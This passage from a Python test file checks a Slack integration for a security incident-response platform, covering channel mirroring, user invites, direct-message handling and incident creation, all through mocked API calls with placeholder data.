'mirrored': False
}
# Arrange
mirror_investigation()
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
channels_call = [c for c in calls if c[0][0] == 'channels.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
# Assert
assert len(groups_call) == 0
assert len(channels_call) == 0
assert len(users_call) == 0
assert len(invite_call) == 0
assert len(topic_call) == 0
success_results = demisto.results.call_args_list[0][0]
assert success_results[0] == 'Investigation mirrored successfully, channel: incident-681'
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
our_mirror_filter = list(filter(lambda m: '681' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
assert len(our_mirror_filter) == 1
assert our_mirror == new_mirror
def test_mirror_investigation_existing_channel(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
mocker.patch.object(demisto, 'args', return_value={'channelName': 'group3', 'type': 'chat', 'autoclose': 'false',
'direction': 'FromDemisto', 'mirrorTo': 'group'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'GKNEJU4P9',
'channel_name': 'group3',
'investigation_id': '999',
'channel_topic': 'incident-713, incident-999',
'mirror_type': 'chat',
'mirror_direction': 'FromDemisto',
'mirror_to': 'group',
'auto_close': False,
'mirrored': False
}
# Arrange
mirror_investigation()
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
channels_call = [c for c in calls if c[0][0] == 'channels.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
# Assert
assert len(groups_call) == 0
assert len(channels_call) == 0
assert len(users_call) == 0
assert len(invite_call) == 0
assert len(topic_call) == 1
success_results = demisto.results.call_args_list[0][0]
assert success_results[0] == 'Investigation mirrored successfully, channel: group3'
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
assert len(our_mirror_filter) == 1
assert our_mirror == new_mirror
def test_mirror_investigation_existing_channel_remove_mirror(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
mirrors = js.loads(MIRRORS)
mirrors.append({
'channel_id': 'GKB19PA3V',
'channel_name': 'group2',
'channel_topic': 'cooltopic',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': True
})
set_integration_context({
'mirrors': js.dumps(mirrors),
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler']})
mocker.patch.object(demisto, 'args', return_value={'type': 'none'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'GKB19PA3V',
'channel_name': 'group2',
'channel_topic': 'cooltopic',
'investigation_id': '999',
'mirror_type': 'none',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
}
# Arrange
mirror_investigation()
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
channels_call = [c for c in calls if c[0][0] == 'channels.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
# Assert
assert len(groups_call) == 0
assert len(channels_call) == 0
assert len(users_call) == 0
assert len(invite_call) == 0
assert len(topic_call) == 0
success_results = demisto.results.call_args_list[0][0]
assert success_results[0] == 'Investigation mirrored successfully, channel: group2'
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
assert len(our_mirror_filter) == 1
assert our_mirror == new_mirror
def test_mirror_investigation_existing_channel_with_topic(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
mocker.patch.object(demisto, 'args', return_value={'channelName': 'group2', 'type': 'chat', 'autoclose': 'false',
'direction': 'FromDemisto', 'mirrorTo': 'group'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'GKB19PA3V',
'channel_name': 'group2',
'channel_topic': 'cooltopic',
'investigation_id': '999',
'mirror_type': 'chat',
'mirror_direction': 'FromDemisto',
'mirror_to': 'group',
'auto_close': False,
'mirrored': False,
}
# Arrange
mirror_investigation()
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
channels_call = [c for c in calls if c[0][0] == 'channels.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
# Assert
assert len(groups_call) == 0
assert len(channels_call) == 0
assert len(users_call) == 0
assert len(invite_call) == 0
assert len(topic_call) == 0
success_results = demisto.results.call_args_list[0][0]
assert success_results[0] == 'Investigation mirrored successfully, channel: group2'
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
assert len(our_mirror_filter) == 1
assert our_mirror == new_mirror
def test_check_for_mirrors(mocker):
from Slack import check_for_mirrors
new_user = {
'name': 'perikles',
'profile': {
'email': 'perikles@acropoli.com',
},
'id': 'U012B3CUI'
}
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
users = {'members': js.loads(USERS)}
users['members'].append(new_user)
return users
# Set
mirrors = js.loads(MIRRORS)
mirrors.append({
'channel_id': 'new_group',
'channel_name': 'channel',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
})
set_integration_context({
'mirrors': js.dumps(mirrors),
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
new_mirror = {
'channel_id': 'new_group',
'channel_name': 'channel',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': True
}
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com',
'username': 'spengler'},
{'email': 'perikles@acropoli.com',
'username': 'perikles'}])
# Arrange
check_for_mirrors()
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
mirror_id = demisto.mirrorInvestigation.call_args[0][0]
mirror_type = demisto.mirrorInvestigation.call_args[0][1]
auto_close = demisto.mirrorInvestigation.call_args[0][2]
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
new_users = js.loads(new_context['users'])
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
our_user_filter = list(filter(lambda u: 'U012B3CUI' == u['id'], new_users))
our_user = our_user_filter[0]
invited_users = [c[1]['json']['users'] for c in invite_call]
channel = [c[1]['json']['channel'] for c in invite_call]
# Assert
assert len(users_call) == 1
assert len(invite_call) == 2
assert invited_users == ['U012A3CDE', 'U012B3CUI']
assert channel == ['new_group', 'new_group']
assert demisto.setIntegrationContext.call_count == 1
assert len(our_mirror_filter) == 1
assert our_mirror == new_mirror
assert len(our_user_filter) == 1
assert our_user == new_user
assert mirror_id == '999'
assert mirror_type == 'all:both'
assert auto_close is True
def test_check_for_mirrors_no_updates(mocker):
from Slack import check_for_mirrors
# Set
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
# Arrange
check_for_mirrors()
# Assert
assert demisto.getIntegrationContext.call_count == 1
assert demisto.setIntegrationContext.call_count == 0
def test_check_for_mirrors_email_user_not_matching(mocker):
from Slack import check_for_mirrors
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
users = {'members': js.loads(USERS)}
new_user = {
'name': 'nope',
'profile': {
'email': 'perikles@acropoli.com',
},
'id': 'U012B3CUI'
}
users['members'].append(new_user)
return users
# Set
mirrors = js.loads(MIRRORS)
mirrors.append({
'channel_id': 'new_group',
'channel_name': 'channel',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
})
set_integration_context({
'mirrors': js.dumps(mirrors),
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com',
'username': 'spengler'},
{'email': 'perikles@acropoli.com',
'username': 'perikles'}])
# Arrange
check_for_mirrors()
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
invited_users = [c[1]['json']['users'] for c in invite_call]
channel = [c[1]['json']['channel'] for c in invite_call]
assert demisto.setIntegrationContext.call_count == 1
# Assert
assert len(users_call) == 1
assert len(invite_call) == 2
assert invited_users == ['U012A3CDE', 'U012B3CUI']
assert channel == ['new_group', 'new_group']
def test_check_for_mirrors_email_not_matching(mocker):
from Slack import check_for_mirrors
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
users = {'members': js.loads(USERS)}
new_user = {
'name': 'perikles',
'profile': {
'email': 'bruce.wayne@pharmtech.zz',
},
'id': 'U012B3CUI'
}
users['members'].append(new_user)
return users
# Set
mirrors = js.loads(MIRRORS)
mirrors.append({
'channel_id': 'new_group',
'channel_name': 'channel',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
})
set_integration_context({
'mirrors': js.dumps(mirrors),
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com',
'username': 'spengler'},
{'email': '',
'username': 'perikles'}])
# Arrange
check_for_mirrors()
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
invited_users = [c[1]['json']['users'] for c in invite_call]
channel = [c[1]['json']['channel'] for c in invite_call]
# Assert
assert len(users_call) == 1
assert len(invite_call) == 2
assert invited_users == ['U012A3CDE', 'U012B3CUI']
assert channel == ['new_group', 'new_group']
assert demisto.setIntegrationContext.call_count == 1
def test_check_for_mirrors_user_email_not_matching(mocker):
from Slack import check_for_mirrors
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
users = {'members': js.loads(USERS)}
new_user = {
'name': 'perikles',
'profile': {
'email': 'perikles@acropoli.com',
},
'id': 'U012B3CUI'
}
users['members'].append(new_user)
return users
# Set
mirrors = js.loads(MIRRORS)
mirrors.append({
'channel_id': 'new_group',
'channel_name': 'channel',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
})
set_integration_context({
'mirrors': js.dumps(mirrors),
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com',
'username': 'spengler'},
{'email': 'bruce.wayne@pharmtech.zz',
'username': '123'}])
mocker.patch.object(demisto, 'results')
# Arrange
check_for_mirrors()
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
invited_users = [c[1]['json']['users'] for c in invite_call]
channel = [c[1]['json']['channel'] for c in invite_call]
error_results = demisto.results.call_args_list[0][0]
# Assert
assert demisto.setIntegrationContext.call_count == 1
assert error_results[0]['Contents'] == 'User 123 not found in Slack'
assert len(users_call) == 2
assert len(invite_call) == 1
assert invited_users == ['U012A3CDE']
assert channel == ['new_group']
@pytest.mark.asyncio
async def test_slack_loop_should_exit(mocker):
from Slack import slack_loop
# Set
class MyFuture:
@staticmethod
def done():
return True
@staticmethod
def exception():
return None
@asyncio.coroutine
def yeah_im_not_going_to_run(time):
return "sup"
mocker.patch.object(asyncio, 'sleep', side_effect=yeah_im_not_going_to_run)
with pytest.raises(InterruptedError):
mocker.patch.object(slack.RTMClient, 'start', side_effect=[MyFuture()])
# Exits the while True
mocker.patch.object(slack.RTMClient, 'stop', side_effect=InterruptedError())
# Arrange
await slack_loop()
# Assert
assert slack.RTMClient.start.call_count == 1
@pytest.mark.asyncio
async def test_handle_dm_create_demisto_user(mocker):
import Slack
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'im.open':
return {
'channel': {
'id': 'ey'
}}
else:
return 'sup'
@asyncio.coroutine
def fake_translate(message: str, user_name: str, user_email: str, demisto_user: dict):
return "sup"
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'findUser', return_value={'id': 'demisto_id'})
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'translate_create', side_effect=fake_translate)
user = js.loads(USERS)[0]
# Arrange
await Slack.handle_dm(user, 'open 123 incident', slack.WebClient)
await Slack.handle_dm(user, 'new incident abu ahmad', slack.WebClient)
await Slack.handle_dm(user, 'incident create 817', slack.WebClient)
await Slack.handle_dm(user, 'incident open', slack.WebClient)
await Slack.handle_dm(user, 'incident new', slack.WebClient)
await Slack.handle_dm(user, 'create incident name=abc type=Access', slack.WebClient)
# Assert
assert Slack.translate_create.call_count == 6
incident_string = Slack.translate_create.call_args[0][0]
user_name = Slack.translate_create.call_args[0][1]
user_email = Slack.translate_create.call_args[0][2]
demisto_user = Slack.translate_create.call_args[0][3]
assert demisto_user == {'id': 'demisto_id'}
assert user_name == 'spengler'
assert user_email == 'spengler@ghostbusters.example.com'
assert incident_string == 'create incident name=abc type=Access'
@pytest.mark.asyncio
async def test_handle_dm_nondemisto_user_shouldnt_create(mocker):
import Slack
# Set
@asyncio.coroutine
def fake_translate(message: str, user_name: str, user_email: str, demisto_user: dict):
return "sup"
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'im.open':
return {
'channel': {
'id': 'ey'
}}
else:
return 'sup'
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'findUser', return_value=None)
mocker.patch.object(Slack, 'translate_create', side_effect=fake_translate)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user = js.loads(USERS)[0]
# Arrange
await Slack.handle_dm(user, 'create incident abc', slack.WebClient)
# Assert
assert Slack.translate_create.call_count == 0
@pytest.mark.asyncio
async def test_handle_dm_nondemisto_user_should_create(mocker):
import Slack
mocker.patch.object(demisto, 'params', return_value={'allow_incidents': 'true'})
Slack.init_globals()
# Set
@asyncio.coroutine
def fake_translate(message: str, user_name: str, user_email: str, demisto_user: dict):
return "sup"
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'im.open':
return {
'channel': {
'id': 'ey'
}}
else:
return 'sup'
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'findUser', return_value=None)
mocker.patch.object(Slack, 'translate_create', side_effect=fake_translate)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user = js.loads(USERS)[0]
# Arrange
await Slack.handle_dm(user, 'create incident abc', slack.WebClient)
# Assert
assert Slack.translate_create.call_count == 1
demisto_user = Slack.translate_create.call_args[0][3]
assert demisto_user is None
@pytest.mark.asyncio
async def test_handle_dm_non_create_nonexisting_user(mocker):
from Slack import handle_dm
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'im.open':
return {
'channel': {
'id': 'ey'
}}
else:
return 'sup'
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'findUser', return_value=None)
mocker.patch.object(demisto, 'directMessage', return_value=None)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user = js.loads(USERS)[0]
# Arrange
await handle_dm(user, 'wazup', slack.WebClient)
message = demisto.directMessage.call_args[0][0]
username = demisto.directMessage.call_args[0][1]
email = demisto.directMessage.call_args[0][2]
allow = demisto.directMessage.call_args[0][3]
# Assert
assert message == 'wazup'
assert username == 'spengler'
assert email == 'spengler@ghostbusters.example.com'
assert allow is False
@pytest.mark.asyncio
async def test_handle_dm_empty_message(mocker):
from Slack import handle_dm
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'im.open':
return {
'channel': {
'id': 'ey'
}}
elif method == 'chat.postMessage':
text = json['text']
if not text:
raise InterruptedError()
else:
return None
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'findUser', return_value=None)
mocker.patch.object(demisto, 'directMessage', return_value=None)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user = js.loads(USERS)[0]
# Arrange
await handle_dm(user, 'wazup', slack.WebClient)
calls = slack.WebClient.api_call.call_args_list
chat_call = [c for c in calls if c[0][0] == 'chat.postMessage']
message_args = chat_call[0][1]['json']
# Assert
assert message_args['text'] == 'Sorry, I could not perform the selected operation.'
@pytest.mark.asyncio
async def test_handle_dm_create_with_error(mocker):
import Slack
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'im.open':
return {
'channel': {
'id': 'ey'
}}
else:
return 'sup'
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'findUser', return_value={'id': 'demisto_id'})
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'translate_create', side_effect=InterruptedError('omg'))
user = js.loads(USERS)[0]
# Arrange
await Slack.handle_dm(user, 'open 123 incident', slack.WebClient)
# Assert
assert Slack.translate_create.call_count == 1
demisto_user = Slack.translate_create.call_args[0][3]
incident_string = Slack.translate_create.call_args[0][0]
calls = slack.WebClient.api_call.call_args_list
chat_call = [c for c in calls if c[0][0] == 'chat.postMessage']
message_args = chat_call[0][1]['json']
assert demisto_user == {'id': 'demisto_id'}
assert incident_string == 'open 123 incident'
assert message_args == {'channel': 'ey', 'text': 'Failed creating incidents: omg'}
@pytest.mark.asyncio
async def test_translate_create(mocker):
# Set
import Slack
@asyncio.coroutine
def this_doesnt_create_incidents(incidents_json, user_name, email, demisto_id):
return {
'id': 'new_incident',
'name': 'New Incident'
}
mocker.patch.object(Slack, 'create_incidents', side_effect=this_doesnt_create_incidents)
mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'})
demisto_user = {'id': 'demisto_user'}
json_message = 'create incident json={“name”: “xyz”, “role”: “Analyst”}'
wrong_json_message = 'create incident json={"name": "xyz"} name=abc'
name_message = 'create incident name=eyy'
name_type_message = 'create incident name= eyy type= Access'
type_name_message = 'create incident type= Access name= eyy'
type_message = 'create incident type= Phishing'
success_message = 'Successfully created incident New Incident.\n' \
' View it on: https://www.eizelulz.com:8443#/WarRoom/new_incident'
# Arrange
json_data = await Slack.translate_create(json_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
wrong_json_data = await Slack.translate_create(wrong_json_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
name_data = await Slack.translate_create(name_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
name_type_data = await Slack.translate_create(name_type_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
type_name_data = await Slack.translate_create(type_name_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
type_data = await Slack.translate_create(type_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
create_args = Slack.create_incidents.call_args_list
json_args = create_args[0][0][0]
name_args = create_args[1][0][0]
name_type_args = create_args[2][0][0]
type_name_args = create_args[3][0][0]
# Assert
assert Slack.create_incidents.call_count == 4
assert json_args == [{"name": "xyz", "role": "Analyst"}]
assert name_args == [{"name": "eyy"}]
assert name_type_args == [{"name": "eyy", "type": "Access"}]
assert type_name_args == [{"name": "eyy", "type": "Access"}]
assert json_data == success_message
assert wrong_json_data == 'No other properties other than json should be specified.'
assert name_data == success_message
assert name_type_data == success_message
assert type_name_data == success_message
assert type_data == 'Please specify arguments in the following manner: name=<name> type=[type] or json=<json>.'
@pytest.mark.asyncio
async def test_translate_create_newline_json(mocker):
# Set
import Slack
@asyncio.coroutine
def this_doesnt_create_incidents(incidents_json, user_name, email, demisto_id):
return {
'id': 'new_incident',
'name': 'New Incident'
}
mocker.patch.object(Slack, 'create_incidents', side_effect=this_doesnt_create_incidents)
mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'})
demisto_user = {'id': 'demisto_user'}
json_message =\
'''```
create incident json={
"name":"xyz",
"details": "1.1.1.1,8.8.8.8"
```
}'''
success_message = 'Successfully created incident New Incident.\n' \
' View it on: https://www.eizelulz.com:8443#/WarRoom/new_incident'
# Arrange
json_data = await Slack.translate_create(json_message, 'spengler', 'spengler@ghostbusters.example.com',
demisto_user)
create_args = Slack.create_incidents.call_args
json_args = create_args[0][0]
# Assert
assert Slack.create_incidents.call_count == 1
assert json_args == [{"name": "xyz", "details": "1.1.1.1,8.8.8.8"}]
assert json_data == success_message
@pytest.mark.asyncio
async def test_create_incidents_no_labels(mocker):
from Slack import create_incidents
# Set
mocker.patch.object(demisto, 'createIncidents', return_value='nice')
incidents = [{"name": "xyz", "details": "1.1.1.1,8.8.8.8"}]
incidents_with_labels = [{'name': 'xyz', 'details': '1.1.1.1,8.8.8.8',
'labels': [{'type': 'Reporter', 'value': 'spengler'},
{'type': 'ReporterEmail', 'value': 'spengler@ghostbusters.example.com'},
{'type': 'Source', 'value': 'Slack'}]}]
# Arrange
data = await create_incidents(incidents, 'spengler', 'spengler@ghostbusters.example.com', 'demisto_user')
incident_arg = demisto.createIncidents.call_args[0][0]
user_arg = demisto.createIncidents.call_args[1]['userID']
assert incident_arg == incidents_with_labels
assert user_arg == 'demisto_user'
assert data == 'nice'
@pytest.mark.asyncio
async def test_create_incidents_with_labels(mocker):
from Slack import create_incidents
# Set
mocker.patch.object(demisto, 'createIncidents', return_value='nice')
incidents = [{'name': 'xyz', 'details': '1.1.1.1,8.8.8.8',
'labels': [{'type': 'Reporter', 'value': 'spengler'},
{'type': 'ReporterEmail', 'value': 'spengler@ghostbusters.example.com'}]}]
incidents_with_labels = [{'name': 'xyz', 'details': '1.1.1.1,8.8.8.8',
'labels': [{'type': 'Reporter', 'value': 'spengler'},
{'type': 'ReporterEmail', 'value': 'spengler@ghostbusters.example.com'},
{'type': 'Source', 'value': 'Slack'}]}]
# Arrange
data = await create_incidents(incidents, 'spengler', 'spengler@ghostbusters.example.com', 'demisto_user')
incident_arg = demisto.createIncidents.call_args[0][0]
user_arg = demisto.createIncidents.call_args[1]['userID']
assert incident_arg == incidents_with_labels
assert user_arg == 'demisto_user'
assert data == 'nice'
@pytest.mark.asyncio
async def test_get_user_by_id_async_user_exists(mocker):
from Slack import get_user_by_id_async
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.info':
return {'user': js.loads(USERS)[0]}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user_id = 'U012A3CDE'
# Arrange
user = await get_user_by_id_async(slack.WebClient, user_id)
# Assert
assert slack.WebClient.api_call.call_count == 0
assert demisto.setIntegrationContext.call_count == 0
assert user['name'] == 'spengler'
@pytest.mark.asyncio
async def test_get_user_by_id_async_user_doesnt_exist(mocker):
from Slack import get_user_by_id_async
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.info':
return {'user': js.loads(USERS)[0]}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user_id = 'XXXXXXX'
# Arrange
user = await get_user_by_id_async(slack.WebClient, user_id)
# Assert
assert slack.WebClient.api_call.call_count == 1
assert demisto.setIntegrationContext.call_count == 1
assert user['name'] == 'spengler'
@pytest.mark.asyncio
async def test_handle_text(mocker):
import Slack
# Set
@asyncio.coroutine
def fake_clean(text, client):
return 'מה הולך'
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'addEntry')
mocker.patch.object(Slack, 'clean_message', side_effect=fake_clean)
user = js.loads(USERS)[0]
investigation_id = '999'
text = 'מה הולך'
# Arrange
await Slack.handle_text(slack.WebClient, investigation_id, text, user)
entry_args = demisto.addEntry.call_args[1]
# Assert
assert demisto.addEntry.call_count == 1
assert entry_args['id'] == '999'
assert entry_args['entry'] == 'מה הולך'
assert entry_args['username'] == 'spengler'
assert entry_args['email'] == 'spengler@ghostbusters.example.com'
assert entry_args['footer'] == '\n**From Slack**'
def test_check_for_answers_no_proxy(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
mocker.patch.object(Slack, 'add_info_headers')
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json={'payload': PAYLOAD_JSON}
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
result_args = demisto.handleEntitlementForUser.call_args_list[0][0]
# Assert
assert demisto.handleEntitlementForUser.call_count == 1
assert demisto.setIntegrationContext.call_count == 1
assert requests_mock._adapter.last_request.proxies == OrderedDict()
assert result_args[0] == '22'
assert result_args[1] == 'e95cb5a1-e394-4bc5-8ce0-508973aaf298'
assert result_args[2] == 'spengler@ghostbusters.example.com'
assert result_args[3] == 'Eyy'
assert result_args[4] == '43'
# Should delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([])
def test_check_for_answers_proxy(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(Slack, 'handle_proxy', return_value={'https': 'https_proxy', 'http': 'http_proxy'})
Slack.init_globals()
proxy_dict = OrderedDict()
proxy_dict['https'] = 'https_proxy'
proxy_dict['http'] = 'http_proxy'
